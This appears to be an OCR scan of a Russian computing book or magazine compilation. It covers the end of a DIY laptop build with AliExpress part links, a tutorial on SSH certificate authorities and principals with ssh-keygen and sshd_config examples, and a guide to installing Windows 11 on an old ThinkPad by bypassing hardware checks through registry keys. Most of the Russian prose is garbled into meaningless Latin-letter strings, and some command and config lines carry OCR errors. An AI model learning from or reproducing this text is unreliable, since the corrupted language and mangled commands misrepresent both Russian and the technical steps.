KOMILIEKTYIOIIHE U MOANMNIMBAN HAaWIBHUKOM BCE, YTO IJIOXO CThIKOBaJochk (¢dororpa-
¢uu nponecca c6opku npuBeaeHs! HUxe (puc. 9.13—9.20)).

ITocne Toro kak s y6enusics B NOJHOH COBMECTHMOCTH BCEX KOPIYCHBIX YacTed M KOM-
IUIEKTYIOIMX, KOpNyc ObLT OTNPAaBIEH Ha MOPOIIKOBYIO NOKpacky (puc. 9.21).

Xene3so

IIaJIeC — NE€pBOHAa4YaJIbHasA c60p1(a K€Ji€3a B KOpIyc. OHa 3aHs1a 0KO0JIO JE€BATH 4aCOB.

s nutaHus ycTpoicTBa s BHIOpan 3alMIIEHHBIH OT BJIard pa3bheM C 3alLeNIKOi, KOTo-
phlit noanasn k 610Ky nuTaHus ot HoyTOyka (puc. 9.22).
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Puc. 9.13. Mpumepka 60KOBbIX NHTEPEENCHBIX Pa3bemoB

Puc. 9.15. MNpumepka MaTeprHCKON nnatbl
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Puc. 9.16. N3roToBneH u ycTaHOBNEH HA CBOE MECTO BO3yX0BOA
Aans 6bICTPOro BbiBOAA ropsivero Bo3ayxa 13 koprnyca

Puc. 9.17. MNpumepka BO3ayxoBoaa U Kyrnepa — BbICTaBMNeHbl naeanbHo!

Puc. 9.19. Mpumepka Haknagok Ans 60koBbIX UHTEPEENCHBIX PAa3beMOB
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Puec. 9.20. NMpumepka maTpuub

Puc. 9.22. Bnok nutanus

Crnenyrourmii 3tan — naiika npoBoJ0B 11 KHOMOK U pazbeMoB USB. Taioke s moakio-
YU KapTpHAep A kapT namatd microSD (puc. 9.23—9.25).



Puc. 9.23. KnasuaTtypa

banEFE

Puc. 9.24. Cbopka kopnyca

Puc. 9.25. Matpuua pabotaet
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Bort ut0 nonyyunock B urore (puc. 9.26—9.31).

Puc. 9.26. Truebook 8 c6ope

Puc. 9.28. HapaboTancs v npuner oTA0XHYTb
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Puc. 9.29. Pabouee cocTosiHue

Puc. 9.30. Bug c6oxky

Puc. 9.31. Pazbemsb!

HTorosas KoHpHUrypanus yCcTpoicTBa

O IIpoueccop: Intel Pentium G4400

0O Jmaronaas maTpuubl; 15,6 mroitma

O OnepatuBHasi namsTh: 4 ['6alit DDR4
0O Hakonureasb: SSD Ha 128 ['6aiit

O Ananteps! 6ecnpoBoanbix cereii: AC 9260NGW 802.11a/b/g/n/ac, Bluetooth 5.0
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)
)
)

KapTtpuaep: microSD
Macea: 3 xr
Pa3mepni: 380 x 240 x 38 MM

BoiBOAbI

Ha 3T0M paboTa noka 4to 3aKkOH4Y€Ha, HO MPOCTOP [UIA YIYYIIEHHH 31€Ch OTPOMHBIH.

Bo-nepBbIx, B COOTBETCTBHH C 3a1yMKO# B MoeM «TpyOyke» MOXKHO anrpeHauTh paKkTHie-
CKH Bce, HAUMHAs C MaTPHLBI U 3aKaHYuBas aHTeHHOH Wi-Fi unu Oarapeei. [Ipu >xenanuu
MOXHO JIaXK€E [TOJTHOCTBIO CMEHHTD I1aTGOPMY, 3aMEHHB MaTEPUHCKYIO IUIaTy H MPOLIECCOP.

Bo-BTOpPbIX, MOXXHO YCOBEpILIEHCTBOBaTbh M JM3alHH, HE MEHAS OCHOBHBIE KOMILIEKTYIO-
mue. Hanpumep, yMeHbIINTh rabapHThl KOpIyca 3a CYET MCIOJB30BAHUA Slim-MaTpHLb!
H 6GoJee MIOTHOH KOMIIOHOBKHM KOMIUIEKTYIOLIHX.

Ecnu THI 3axoyellb MOBTOPUTh MOH MPOEKT MIM MOJEPHHU3HPOBATh €ro, TO GOJNBIIYIO
4acTh KOMIIOHEHTOB MOXHO HaiTH Ha AliExpress.

)
)
o

Qa

Qaaagagaoagaoaaq

Q

Anantep Wi-Fi (https://aliexpress.ru/item/33010619009.html)
Tauckpun 15,6" (https://aliexpress.ru/item/32810366900.html)

becnpoBoaHas slim Bluetooth-knaBuatypa
(https://aliexpress.ru/item/32829559359.html)

Kuonka Bxkmouenus (https://aliexpress.ru/item/32823502225.html)

Mexannyeckas 6ecnpoBonHas Bluetooth-kinaBuatypa
(https://aliexpress.ru/item/1005003647610197.html)

Be0-kamepa (https://aliexpress.ru/item/32621151802.html)

KonTponnep 3apsina 6arapeu (https://aliexpress.ru/item/32881416114.html)
Axkymynarops! 18650 (https://aliexpress.ru/item/32820544957.html)
LVDS-mnetid (https://aliexpress.ru/item/32832552547.html)

Junamuxu (https://aliexpress.ru/item/32814930949.html)

Pa3bem nmutanus (https://aliexpress.ru/item/32815741026.html)

Knonxka 12 mMm (https://aliexpress.ru/item/1005003122620083.html)
Paszvembr USB u ayauo (https://aliexpress.ru/item/32573593032.html)

[MpoaBuHYTHIH KOHTpOJLIEp 3apsaa 6arapeu openUPS
(https://www.mini-box.com/OpenUPS)

HntepecHbie MatepuHckue miathl (https://zeal-all.com/en/all-in-one-motherboard)
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SSH no-kpynHowmy.
Ucnonb3yem yaoCTOBEPAOLWUA LLEHTP
SSH, 4TO6bLI 06NErYnTb XNU3Hb agMUHY

AHdpell lNapxomeHKo

Bpone 651 SSH — xopoio u3BecTHas Belllb, C KOTOPOH Thl HAaBEpHAKA CTAJIKMBACLILCA
exenHeBHo. [Ipu 3ToM Mano KTo 3HaeT 0 Bo3MoxHOCTAX SSH Oonblue, 4eM HY>KHO, 4TO-
OBl MOOKITIOYUTELCA K YAAJIEHHOMY cepBepy. A Belb B 3TOT HHCTPYMEHT BXOIAT QYHKLHUH,
KOTOpbl€ MOTYT OY€Hb NPHIOAUTHCA NpH Ooliee CIOXKHOM CTPYKType aIMHHHUCTPHpOBa-
HUS, C YeM MHOTHE ceidac CTOJKHYJIUCh B CBA3M ¢ KOPOHABUPYCOM H YJaJIeHKO#. B 3Toi
rJIaBe s paccKaxy, YTO Takoe U Kak mpuMeHstorcs SSH-cepTudukatsl ¢ ymnoctoBepsio-
LIMM LIEHTPOM U NPHHLHMANKI.

IMoxanyii, HU OAMH YETOBEK HE MOXKET Ha3BaTh ceOf CHCAAMHMHOM, €CIIH OH HE 3HAET, YTO
takoe SSH, u He oBnazgen xors Ol a3amu 3Toro HHcTpyMeHra. SSH — 3ro 1 Bopota yna-
JIEHHOTO CepBepa, U KJII0Y, OTKPHIBAIOILHKH 3TH BOPOTA. BOIBIIMHCTBO CHCAAMHUHOB JaBHO
CHIeJTaJIY LIar OT MCIIOJIb30BaHHA MapoJIA AJA ayTeHTH(HKALMHU IPH COEAUNHEHHH C CepBe-
POM K mape KpunTorpapHyeckux Kiodeid — myOIMYHOMY M 3aKpBHITOMY. OTOT He6GONb-
1I0# LIar Ha caMoM Jene ObLT OrpOMHBIM IporpeccoM B obecneueHun 6e3omnacHoCcTH 00-
JIAYHBIX CIIYXO6.

Ho xwu3Hb Ha Mecte He cTouT, 1 koMaHaa OpenSSH yxke HeCKONBbKO JIET Ha3a] NpeacTa-
BHJIa HOBBIE MOILIHBIE HHCTpYMeHThI SSH, koTopsle maroT 6onbyro rHOKocTh U ynobcCT-
BO yJaJIEHHOTO aIMUHUCTPUPOBAHHUA, OCOOEHHO €CITH Y CHCAIMHHA B YIPaBJI€HHH MHOTO
yaaneHHbIX cepBepoB. OOUH U3 TaKUX MHCTPYMEHTOB — cepTHudukatel SSH. XoTsa oHu
npoiue o0sIYHBIX cepTH(HKaToB X.509, moYyeMy-TO MX MPOHUKHOBEHHE B yAANEHHOE aj-
MHHHUCTPHPOBaHHE HIET Tyro. Buaumo, ckasplBaeTcs MHEPLHA MBILUIEHHA. A Belb YTO
MOXeT ObITh KpacuBee U yaoOHee: Thl BhITyCKaells KOpHeBO# cepTudukat CA, KOTOpBIi
W 3arpykaems Ha cepsep. Bcé, umes SSH-ceptudukar, ynocrosepensslit 3tuM CA, Th
MOJK€EIb 3aXOUTh Ha yNAJECHHbIH cepBep. A Jajnee pacCMOTPHM HIOAHCHI, KOTOpPBIE MO-
T'YT ClleNaTh XXHU3Hb CHCaIMHHA — He B ylepO 6e30macHOCTH — JIerye U MpUATHEE.

Wrak, cozganum Ham CA. [Ing mpuMmepa mycth 310 Oyner kitodeBas mapa, B KOTOpPOWH
Ucnonb3yercs cxema nudposoi noanucu tuna Ed25519. C nerko# pyku aMepHKaHCKOTro
kpunrorpada Bproca [1IHaliepa cpean MHOIHX KpHITOrpagoB yTBEPAUIOCH CTOHKOE IO-
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JIO3peHHe, 4TO AreHTcTBO HauuoHanbHO# 6e3onacHoctu CIIIA (NSA) caenano 3akiaaxy
B CTaHJapTH30BaHHYI0 HauMOHanbHBIM HMHCTHTYTOM cTaHAapToB M TexHonorui CIIA
(NIST) annunriyeckyr KpuByro P-256. Mbl He MokeM 3HaTh HaBepHAKa, Tak Ji1 3T10. Ho
3TOT npeanonaraemelii backdoor moTeHuManbHO cTaBUT 6€30MacHOCTh KOMMYHHKaLHH
non yrposy. M Tyt oyeHb KCTaTH mpHUUIach pa3paboraHHas npogeccopoM J3HHETOM
Ix. BepHiteriHoM anmuntudeckas kpubas Curve25519. Ona cuutaercs 6e3onacHoii. ITo
KpaiHeil Mepe, HUKTO M3 CEpPbe3HbIX KpUNTOrpadoB HacyeT 3TOH KPUBOH COMHEHHH He
BeIpaxkasl. Bot u 6yaem ¢ Heii paborats gajsure.

I'enepupyem napy kmodeit 111 CA o U3BecTHOH CTaHAApPTHOM npoueaype (He TeHuMcs,
yCTaHaBJIMBaeM Iapojb — 3A€ECh U Aajee):

$ ssh-keygen -C CA -t ed25519 -f ca_ key

IMonyyaeM aBa daina: ca_key H ca_key.pub. OHH 1 06pa3yroT Ham CA. 3aKkpbIThIH KITIOY
ca_key Mps4YeM B HAJEXXHOM MECTE, a OTKPHITBHIH KIIOY ca_key.pub ITOMEINAaeM Ha yna-
JICHHOM CepBepe B /etc/ssh/ca_key.pub H JaeM CEpBEPY KOMaHAy IOBEPATh BCEM KIIO-
yaM, mnoanucaHHeiM 3THUM CA, no6aBuB B KOHGHUrypauMoHHBIH (ain cepBepa
/etc/ssh/sshd_config TaKylO CTPOKY:

TrustedUserCAKeys /etc/ssh/ca_key.pub

A TIOCKOJIBKY paHee MbI MOJIOKHIHCEH Ha kpuBYyHo Curve25519, To nobasnseM B ¢aiin eme
U TaKHUe CTPOKH:

PubkeyAcceptedKeyTypes ssh-ed25519-cert-v0l@openssh.com

CASignatureAlgorithms ssh-ed25519

He 3absiBaeM mepesarpy3utb SSH-cepBep mociie KaXOOro H3MEHEHHSA KOHQHUIypauHuu
(3mech U manee):

$ sudo systemctl restart ssh.service

Hanee o gaBHO oTpaboTaHHOMY LIA0JIOHY FreHEpHUPYEM Mapy MOJIb30BaTEIbCKUX KITFOUeH
U1 ayTeHTHHUKALUHU Ha cepBepe:

$ ssh-keygen -t ed25519 -f id ed25519

H IIOAIMHChIBAEM OTKpBITBIﬁ KJIIOY ITOJIB30BATENIA id _ed25519.pub:

$ ssh-keygen -s ca_key -I alex25 -n root id ed25519.pub

B PE3yIbTAaTE NOJTYy4aeM COOCTBEHHO cemebmcaT I0JIb30BATENA: id ed25519-cert.pub.

Onuus -1 — 3TO UACHTUPHUKATOP KJIKO4Ya, OH MOXET OBITh Jr000H nHdpo-OykBeHHOH
CTPOKOH, HO JIy4llle ee MHAMBHAYAIU3HPOBATh, YTOOBI MMOHUMATh, KTO, KOTAa U KyAa C
TaKUM HAEeHTHQUKATOPOM BXOIOHJI Ha cepBep, Tak Kak B Jorax ID kio4a Bceraa ykasbl-
BaeTcCH.

Omnuus -n 3aaeT nNpuHUMIANa (0 HUX HHXKeE), B JaHHOM ciydae 3To root. [Ipeacrapnen-
Has cxeMa cepTH¢HKaTa caMas IpoCcTas, a IOTOMY He caMas Ge3onacHas. OHa Mo3BonseT
BIIJEeNbIly TAKOr0 KJIF0Ya BXOAMTb KOTAa YrOJHO M OTKyJa YroAHO Ha 00O cepsep,
noBepstowwuii nanHoMy CA, ¢ npaBaMu root 6e3 kakux-1M00 orpaHH4eHHH, a 3TO II0XO.

W3MeHHTh Takoe INOJIOKEHHE Belled MOXKHO, HCIOJNb3ys KOHUENUHIO MPUHLHKIANOB.
IpuHiumnan B caMoM o0LIeM ciydae — 3TO CETEBOH pecypc, KOTOPSIH MPeACTaBIsAET BbI-
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YHUCIIMTENIBHBIA akTOp (KOMIBIOTEp, ciyxk6a, mpouecc U noaobHOe) MK Aaxe KOHKpeT-
HOTO 4€JI0BeKa, MHHLMHPYIOILEro AOCTYN K CETEBbIM pecypcaM M IMOATBEPkAAIOMIEro
CBOIO [TOJUIMHHHOCTB 3THM CETEBbIM pecypcaM. Jlanee OyaeM paccMaTpvBaTh NpHHLHMIIANA
B Y3KOM CMBICIIE KaKk KOHKPETHOTO YenoBeka, umermero SSH-ceptugukar.

HOHyCTHM, Yy Hac €CThb CEpBEpP C TPEMA HENMPHBHJIICTHPOBAHHBIMHU IM0JIB30BATCIAMH bob,
dug H ted. Kaxnplii monbp30BaTesib HMEET CBOH, CTPOI'0 OrpaHUYCHHBIC IIpaBa AOCTYIa K
¢)ap“maM H KaTtaJioraM. I’I, JOIMyCTHUM, Mbl HMEEM TPEX IMPHHUMIIAIOB bill, betty H nell.
H}O60My M3 3TUX NPUHUHUIIATIOB MOXKET OLITh Mpe€aoCTaBJIEHO IMPpaBO aBTOPH30BATHCA HA
CEpBEPE C IpaBaMH m000ro Mosb30BaTeN . HJIH 3TOro Co3Ja€M Ha CEpBEpE Katajior

auth_principals:
# mkdir /etc/ssh/auth principals

A B koHbHrypaluHoHHbIH ¢aiin BcraBiseM cTpoky (puc. 10.1)

AuthorizedPrincipalsFile /etc/ssh/auth principals/%u

Port

ListenAddress 192.168.145.1

TrustedUserCAKeys /etc/ssh/ca_key.pub
AuthorizedPrincipalsFile /etc/ssh/auth principals/%u
PubkeyAcceptedKeyTypes ssh-edZ5519-cert-v0l@openssh.com
CASignatureAlgorithms ssh-ed25519

PermitRoatLogin no

AllowUsers bob dug ted
PasswordAuthentication no
PermitEmptyPasswords ne
ChallengeResponseRuthentication no
UsePAM ves

Puc. 10.1. MonyunBwmitcs koHdur aemoHa SSH

B karanore auth principals AJIs JIFOOOrO MOJB30BATENSA MOXKHO CO3/aTh (aiii, rae yka-
3aTh Te€X MPHUHIHKIANOB, KOTOpPhIE YITOJHOMOYEHbl aBTOPH30BAThCS M0J HMEHEM JaHHOTO
noss3oBatens. Hampumep, pa3peminM MNpHHLMIATNAM betty M nell aBTOPU30BaThCA B
CHCTEME OT UMEHH M0JIb30BaTeNs dug:

# echo -e 'betty\nnell' > /etc/ssh/auth principals/dug

A nMpHHUIHMNAay bill OT MMEHH MOJIb30BaTENEH bob H ted:
# echo bill > /etc/ssh/auth principals/bob
# echo bill > /etc/ssh/auth principals/ted

CMBICTI TIOHATEH, HE TaK JIH?

Haxoueu, Co31aeM MpHHIHIATY bill cemeanaT:

$ ssh-keygen -s ca key -I alex25 -n bill -z 102348 -O no-xll-forwarding -O
source-address=192.168.145.23,192.168.201.0/24 -V always:20210602
id ed25519.pub
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C MOMOILBIO ONMUHH -O source-address Mbl Pa3pellNIM bill BXOAUTh B CHCTEMY TOJBKO
¢ onpexnenenHoro IP-agpeca w/umu onpeneneHHoit cet. C MOMOLIBIO ONUHH -~z JaeM
cepTH(HKATy CEpHIHBIN HOMEpP A/ YUeTa H KOHTPOJIS H BO3MOXKHOI0 0T3bIBa. Omuus -0
no-x11l-forwarding 3ampemaeT x 1 1-forwarding.

IlocMOTpHM, 4TO MOJTYYHIIOCH:

$ ssh-keygen -Lf id ed25519-cert.pub
id_ed25519-cert.pub:

Type: ssh-ed25519-cert-v0l@openssh.com user certificate
Public key: ED25519-CERT

SHA256:dD70g0bRoSXGkXcW7FICHIIwyPcFsna86zKZbVkkYnk

Cocrasnaer CNUCKU NPUHLMNINOB

Ha cepsepe, NPaBa AOCTYNa

Signing CA: ED25519 SHA256:Dmzn5HfQ8HXnYV+itFuRzb21C1ISGLB7gX4BMzVGPVQ
Key ID: "alex25"
Serial: 102348
Valid: before 2021-06-02T01:00:00
Principals:
bill
Critical Options:
source-address 192.168.145.23,192.168.201.0/24
Extensions:
permit-agent-forwarding
permit-port-forwarding
permit-pty
permit-user-rc

v Certificate
npasaser 3 YaocrosepeHue SSH-ceptuduxaros

; Authority A P prug
Yaocrosepaiowm

LeHTpom CA

NPUHLUNANO0B

Serverl Server2 Server3

mp(ly sally ben nancy greg

Puc. 10.2. MpuHUMnNan MoxeT UMEeTb AOCTYN K akkayHTam pasHbIX Nofb3oBaTeneit Ha pasHbix cepeepax
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Yro x, Hernoxo. Teneppb He 3a0yeM MOMECTHTH BCE 3TH KIIOYH H CEPTH(HUKATHI Ha KITH-
€HTCKOH MallliHe B MPaBUIBHEIH KaTalor .ssh U OTPEJAKTHPOBATh TaMm xe ¢ain config.
Ho 370 BCE cHCaaqMMHBI IaBHO Hay4HJIHCH JI€aTh €LIE Ha NPEeXHeM wware ocBoeHus SSH
(puc. 10.2).

BbiBoAbI

Takum 06pa3oM, HCMOIB3Yys HEKOTOPBIE HE CaMblE€ PACIHPOCTPAHEHHBIE HHCTPYMEHTBI
SSH, MoxHO u B Bonpocax 6e30nmacHOCTH ObITh Ha BHICOTE, 1 IKOHOMHTh BPEMS M yCH-
JIUs 3a CYET JYYIIEro CTpYKTYPHpPOBaHHs JOCTyNa K YAaJE€HHBIM pECypcaM pasHbIX CO-
TPYAHHKOB ¢ pa3HbIMHU npaBaMu. Ho SSH Taut B cebe ele MHOro none3Hbx GUpPMEHHBIX
npuModek. M3ydal 1oKyMEHTaLHIO U YHTaH XKypHan «Xakep»!
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OTKNUYNTL BCE!
Yckopsiem paboty Windows 11
Ha CTapoMm Xxenese

Banenmux XonmMoz2opos

Sl nroGmro cMenble 3KCHEPUMEHTHl. B KkadecTBe OZHOrO M3 HHMX S PEIUMI BOAPY3HThH
Windows 11 Ha crapenskuit ThinkPad x200S. HoBas BUHzIa cHayana He XOTena yCTaHaB-
JMBaThCA Ha 3TOT HOYT (IIOTOMY YTO OH JPEBHHMH M TOPMO3HOH), a MOTOM HOPMAJIbHO
paboTaTh Ha HEM — IO TOH e camoil mpuuuHe. [Tpunulock pazbupartbes, Kak 000HTH
NPOBEPKY ammapaTHONH COBMECTHMOCTH, a CaMO€ TIJIaBHOE — KaK 3aCTaBHTh CHCTEMY
KpYTHTbC OBICTPO M 6€3 J1aroB Ha MOpPalbHO yCTapeBLIEM Xese3e. ITUMH crocobaMu
S XOUy MOAENUTHCA ¢ TOOOH — BCE OHHM NMPOBEPEHBI HA MPAKTHKE M FapaHTHPOBAHHO pa-
6oTaror.

3ror crapenskuit ThinkPad, o6Gopynosaunbiii mpoueccopom Intel Celeron U2300,
8 I'6aititamu omepatuBku U SSD-HaKOMUTENEM BCEMHUPHO M3BECTHOHN KHTAHCKON (QUpMBI
NoNaMe, 51 ucnoNb3yo B AaJbHUX MMOE3KaX 10 MPUHLHUITY «ECIH COMPYT, TO HE KAJIKO».
C ponblo mopTaTHBHON pabodel MallMHBI 3TOT KOMMAKTHBIH HOYT BCEraa CIpaBIIsIICS
0e3ynpedHo, ocobeHHO ¢ ydyeToM Toro, uto Windows 10 paborana Ha HEM BecbMa IIYCT-
po maxe 6e3 BCAKMX TBUKOB. FIMEHHO MOITOMY y MEHsS HE BO3HHKJIO HH MaJeHIIHNX CO-
MHEHHi1, Ha KakOM UMEHHO Xene3e nporectupoBath Windows 11, mpexzae 4eM CTaBUTh
HE3HAKOMYIO CHCTEMY Ha pabouyro MallMHy — 5 OMacajcs, YTo K HOBOMY «I JJaBHOMY
MEHIO» ¥ BUAOU3MeHeHHOH «[laHenu 3agay» mpUAeTcs JOJro MPUBBIKATE, U He QaKT, 4TO
nonyuutcs (puc. 11.1).

IIpusHatecs, s Obu1 HempHATHO yauBieH OwicTpoperictBueM Windows 11 Ha MoeM
ThinkPad, BepHee, ero monHeIM oTCYTCTBHEM. [10 CPaBHEHHIO C «IECATKOM» HOBas BUHAA
enie-eJie Bopouanachk, «IIpOBOAHHKY 3aITyCKajCs TPUMEPHO MOJIMHHYTHI, & TIPH OTKPBITHH
HECKOJIBKMX BKJIAZIOK B Opay3epe cHcTeMa M BOBce Branana B koMy. QO4eBHIHO, YTO 3TO
xkene3o aaa Windows 11 okasanock Bce-Takd c€aab0BaThiM, HO YTOOBI HACTOJBKO...
51 mpuHANCA CPOYHO M3BICKMBATh CIOCOOBI yckopeHHs paborsi Windows 11, Ho mepen
3THM 51 OBIJ BBHIHYXXIEH MOBO3UTHCA M C CAMOI yCTaHOBKOH — CHCTEMa )KaJoBajlach Ha
HECOBMECTUMOCTbD JKeJle3a M HAaCTOHYMBO Ipelyiaraja MOMUCKaTh B YyJaHE KOMITBIOTED
momo1Hee. [IpHIuIoch NPUMEHATS kK¥BaAAy Maruio. OQHako 060 BCEM IO MOPAAKY.
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Puc. 11.1. ThinkPad x200S ¢ Windows 11 Ha GopTy

O6bxon npoBepku
annapaTHOW COBMEeCTUMOCTHU

Ewe no opuunansHoro penusa Windows 11 crano uzBectHo: kopnopauus Microsoft Bel-
KaTuja Takue TpeOOBaHHS K COBMECTHMOH anmapaTtHOH KOHGHrypauuu, OyATo UX muca-
JIM C OTAAAKOM Ha cynepkoMnbloTeps! [IeHTarona. [TotoM (BUAUMO, o JaBaeHUEM 00-
LIECTBEHHOCTH) pa3paOOTHHUKH BKJIKOYHIM 3aJHIOI0 U HEMHOIO ype3alld CBOU 3ampochl,
Ho B cnHcke Bce paBHO octanuchk UEF] ¢ moanepxkkoi 6e3omacHoi 3arpy3kH, JOBEpeH-
HbIH mnardopMennblid Moayns TPM 2.0 u gucnneit Beicokoi yetkoctH 720p. Cosep-
meHHo o4eBHaHO, 4To ThinkPad x200S, kak ¥ MHOTHE ApPYrHe CTapble HOYTOYKH, 3TOH
KOH(GHUTYypaLHH COBEPLICHHO HE COOTBETCTBYET, IIOTOMY IIPH YCTAaHOBKE CHCTEMBI 5 YBH-
Jle]1 Ha 9KpaHe BOT TaKoe I'pycTHoe coobuieHue (puc. 11.2).

ITo cyactbio, Microsoft Bce-Taku npexycMoTpena BO3MOXHOCTh ycTaHOBKH Windows 11
Ha HECOBMECTHMOE JXelle30 B TaK Ha3biBaeMOH J1a00opaTOpHOH KOHOGHIypauuu, U Aaxe
ory0nMKoBaa COOTBETCTBYIONIYI0 MHCTPYKLHMIO 0 00X04y OrpaHHYEHHUH rae-To B Iiy-
O6uHax cobcTBeHHOrO caiTa. Eif M Bocmosbzyemcsl.

VYBHIEB YBEAOMJIEHHE O HECOOTBETCTBHH KOMIbIOTEpa (GaHTa3usM pa3pabOTYUKOB
Windows, xmeM «Ha3zany», 4To0Obl BepHYThCS B OKHO BbiOOpa Bepcud OC, 3aTteM Haxu-
MaeMm Ha knaBuatype Shift-F10, HaOGupaeM B OTKpBIBIIEMCS OKHE KOMaHIHOH CTpPOKH
regedit U JaBUM Enter. B oTkpeiBuIeMcs okHe PemakTopa peecTpa mepexoguM K BETKe
HKEY LOCAL MACHINE\SYSTEM\Setup\ M CO3[Ja€M TaM HOBBIH pa3fien LabConfig. B aTom
paszene co3gaeM TpU 32-pa3psAHBIX HapaMeTpa DWORD C HMEHaMH BypassTPMCheck,
BypassRAMCheck M BypassSecureBootCheck. [locjie 4ero JBOHHBIM IIEYKOM MBIIIH OT-
KpBIBaeM Ka)<IbIif M3 3THX apaMeTpOB U IpUCBauBaeM UM 3HadeHue «1» (puc. 11.3).
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@ &§ Ycrarosxa Windows

3anyck Windows 11 Ha 3TOM KOMNbiOTEPE HEBO3MOXEH

3707 KOMMBICTEP HE COOTBETCTBYET MHHWUMA/IbHLIM TPeGOBaHMAM K CMCTEME ANA YCTIHOBKKM 3TON
sepcnn Windows. [lononsmnTensHole CBeaeHna cM. Ha caite hittps://aka.ms/WindowsSysReq

Hdanee

Puc. 11.2. Baw kxomnbioTep He KoMNbloTep

@ain flpaska Bud y3bpcsrce Cnpasse
Korneomep\HKEY_L OCAL_MACHINE\SYSTEM\Setup\LabConfig
~ Wl Kaunoomep A Tun 3naverue
» 2 HKEY_CLASSES_ROOT |
3 S0 HKEY_CURRENT_USER ‘
v HKEY_LOCAL_MACHINE
> 53 HARDWARE
> T SAM
> T8 SECURITY
» T0 SOFTWARE
v T SYSTEM
> 38 ControtSetad?
> CumrentControlSet
> T OriverDatabase
» %& MardwareConfig
3> T Keyboard Loyout
S MountedDevices

(HaverUe HE npucasero)

QOO0 (0)

CQ000TIN (0}
24:BypassSecureBa.. REG_DWORD DU (G)

> 5% ResourceManager
£3 ANG
% Select
v % Setup
AllowStart
Pid
SETUPCL

Puc. 11.3. O6maHbiBaeM nporpammy ycranoskv Windows 11

Teneps HyXHO 3aKphITh «PelakTop peecTpa» U KOMaHIHYIO CTPOKY, a 3aT€M NpOAOJ-
XHUTh YCTAaHOBKY B NPEXHEM pexuMe. [locie BhIIENEepeYHCIEHHbIX MAaHUIYJIAUNA HH-
crajuiaTop He OyaeT npoBepsaTs Hanuuue TPM 2.0, MUHHMaNIBHO HEOOXOAUMBIA 00bEM
oneparuBkH U npucyrctBue B cucreme UEF], Ho eMy Bce paBHO noTpebyercst kak MHHH-
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MYM JIBYXbsJIEpHBIA mpoueccop. Ecau ero HeT, TO Thl CHOBAa yBHIMIUL cooOLIeHHE 00
annapaTtHoH HECOBMECTHMOCTH.

Moii Celeron, mo c4acThio, yCnelHo npouen ¢eic-KOHTPOoJb, HO BUH/JA MOCE 3amycKa
TOpPMO3MJIa TaK, 4TO paboTa Ha HOYTOYKe nmpeBpaTuiach B cyuiee mydeHue. CylecTByeT
BO3MOXXHOCTh OTKaTHTHCS 0OpaTHO K npeabiayueid Bepcud Windows B TedeHHE MEPBBIX
JIECATH JHEH nocyie 0OHOBJIEHHUS CUCTEMBI, HO 3TOT IIAHC OBLT MHOK CHACTJIMBO YMYLIEH
U3-3a HOBOFOAHEFO-3aHOs HOBOIOJAHUX KaHHMKYJ. [IpHuuioch M3RICKHBATH COcoObl Ha-
ctpouts Windows 11 Tak, 4ToObl ¢ HElt MOXKHO ObLIO XOTh Kak-To paboraTs, He Oopsch €
NEpPMaHEHTHBIM >KEJTaHHEM IUIIOHYTh B 9KpaH HOYTOYKa.

Cospaem pe3epBHYHO KONUIKO

[Ipexxae yeM KOBBIPATHCA B HACTPOWKax BHHIBI U CHUCTEMHOM pEECTpe, MMEET CMBICI
CclleNIaTh €ro pe3epBHYIO KOMHUIO U KaK MUHHMYM CO03/1aTh TOYKY BOCCTaHOBJIEHHUs. PeecTp
MOXHO 3a0eKanmuTh C IIOMOIUBIO KOHCOJBHOW KOMaHIbl BHIA reg export HKLM
C:\tmp\hklm.reg, IA€ hklm.reg — aiia, B KOTOpoM OyAET COXPaHEHO COAECPKHUMOE BET-
Bu HKLM. OcranpHble BETBH 3KCIIOPTUPYIOTCS aHAJIOTHYHBIM 00pa3oM, a OTKaT K mep-
BOHAYaJIbHbIM HaCTPOHKaM BBINIOJIHAETCS MyTEM 3arycka reg-gaina.

€ Napamerpsi o x
Q  amin Cucrema > BoccraHosneHnue
Ecrn y Bae soaxmkam npobnems ¢ KOMNBIOTEROM 4tk By XOTITE CBPOCYTE €70, BIM MOTYY TOMOND 3TH
N3PAMETP bl BOCCTARGENSHUR
Haity naganeto 2
YcrpanuTte ipofinesbt, He 8038PaLLaR KOMALIOTEP B UCXORHOR COCTORHME
| 8 Cucrems i P y Pl sioTep . *OR
LE6p0E MORET 3A-ATE HEKOTOPOL BpemMa. {navuans nonpobyire peuiTe NHUbneMy, 2aNyCTHB CPRRCTSO >
VETPANEHIR ARRCOAHAGH
0 Biuetoothy YCTPOWCTBa
¥  Cervu inteprer .
MNapameTpol 80cCTaHOBNEHUA
4 Mepconannsaumna
epHYTH KOMNIBIO VCXORHOE COCTORHYE
é__l, BepyTo YR B A 5 X Mepesarpy3xa MK
" COXpRIITE HIM ¥ AANKTE Miunbie Paitnst. & Javex NEpeVCTanusnTe Windows
1 MpunoxeHun
B Yuen
W JuerHaie 3amwn , Pacimpessie napaMeTpbl 3anycka
($ Nepesar TROACTAD CARNAC, WPobnt NIMENHTL NEDAMETHY 28AYCKD, Mepeaarpy3auTts ceuac
B  Bpens n A3 BRAIUIS 25 AATKS N USB-nordamTent
& Prpo
I i@ Nonyuwrs nomouss
}k Cneuuanbubie BO3IMOXHOCTH -
&° Ompaswts or3mie
J  KougmagerumanbHocTb v Gesonac
@  ilenrp obrosnerus Windows

2 O EO-CB @ ~S e CSQ’))u.m.’zzzso

Puc. 11.4. Nepesanyck Windows 11 B pexume BOCCTaHOBNEHUA
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Yrobr!l co3aaTh TOYKY BOCCTaHOBJIEHHA, HOXXMH Win-R u B oTkpeiBumieMcs okHe «Bsi-
MOJIHUTB» HabepH sysdm.cpl. B okHe «CBOMCTBa CHCTEMBI» NEpPEHIn KO BKIaake «3a-
HIMTA CHCTEMbI», BBIIEJIH CHCTEMHBIN JUCK IETYKOM MBIIIH H HaXXMH Ha KHONKY «C03-
JaTb». BBeau Ha3BaHHE 111 HOBOH TOYKH BOCCTAHOBJICHHA H XMH «OK».

Yro6sl BepHyTh Windows K HCXOIHOMY COCTOSHHMIO, [lepe3arpy3u ee B pexHMe BOCCTa-
HoByeHHuA. lng 3toro Haxxmu Win-I, B npaBoi 4acTH OTKpBIBIIEroCs OKHA HaXXMH Ha
kHonky «BoccraHoBieHHe» U B pasnene «PacliHpeHHble mapaMeTpbl 3aNMyCKa» KIHK-
HH Ha HaanucH «Ilepe3arpy3ursb ceiiuacy» (puc. 11.4).

MNMpocTaa HacTponKa Npon3BoANTENbLHOCTH
W BUPTyanbHOWU NaMATH

B Windows 10 u npexsiayimux BEpCHAX CYLIECTBOBANO OTAEIbHOE OKOLIKO C HACTPOM-
